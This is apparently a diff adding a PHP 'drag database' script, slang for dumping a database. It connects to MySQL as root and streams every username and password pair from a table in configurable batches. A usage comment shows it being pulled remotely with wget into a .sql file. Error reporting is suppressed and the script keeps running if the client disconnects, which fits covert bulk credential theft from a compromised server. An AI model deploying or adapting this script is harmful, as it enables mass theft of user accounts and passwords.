drag database with wget download

drag/php wget drag database.php.txt

@@ -0,0 +1,63 @@
+<?php
+//author: By Gavin
+//Usage: wget "http://xxx.com/wget_sql.php?sn=0&en=5000000&ln=50000" -O gavin.sql
+
+error_reporting(0);
+ignore_user_abort();
+set_time_limit(0);
+ob_clean();
+
+//配置数据库信息
+$DB_Server="127.0.0.1:3306";
+$DB_User="root";
+$DB_Pass="root";
+$DB_Name="DBName";
+
+//分段每次limit查询出来的条数,根据实际情况调整，默认为2w
+$max_limit_num = 20000;
+//最大缓存条数，防止占用过多内存，根据每条数据大小调整
+$max_cache_num = 5000;
+
+
+$gavin_start_num = intval($_GET['sn']);                    //接收起始条数
+$gavin_end_num = intval($_GET['en']);                    //接收结束条数
+if (intval($_GET['ln'])) $max_limit_num = intval($_GET['ln']);        //接收每次分段查询的条数
+ $gavin_down_num = intval($gavin_end_num - $gavin_start_num);         //计算总下载条数
+
+if ($gavin_end_num < $max_limit_num) $max_limit_num = $gavin_end_num;
+$beishu = intval($gavin_down_num/$max_limit_num);
+$yushu = intval($gavin_down_num%$max_limit_num);
+
+$conn=@mysql_connect($DB_Server,$DB_User,$DB_Pass);
+if ($conn==FALSE) {
+    echo "数据库连接出错!<br>";
+    exit();
+    }
+if (@mysql_select_db($DB_Name,$conn)==FALSE) {
+        echo "打开数据库:".$DB_Name." 失败!";
+        exit();
+    }
+
+mysql_query("set names 'utf8'");
+$num = 1;
+$out_put_str = '';
+if (ob_get_level() == 0) ob_start();
+
+for ($i=0;$i<$beishu;$i++){
+  $new_start_num = $i*$max_limit_num+$gavin_start_num;
+  if ($i == ($beishu-1)) $max_limit_num += $yushu;
+  $sql = "select username,password from `table_name` limit ".$new_start_num.",".$max_limit_num; //配置SQL语句
+   $res = mysql_query($sql) or die(mysql_error());
+  while($result = mysql_fetch_array($res))
+  {
+    $num ++;
+    $out_put_str = $result["username"]."-->".$result["password"]."\n";  //格式化脱出的数据,根据SQL中的字段调整
+     if ($num >= $max_cache_num){
+      @ob_end_flush();
+      $num = 0;
+    }
+    echo $out_put_str;
+    // unset($out_put_str);
+  }
+}
+?>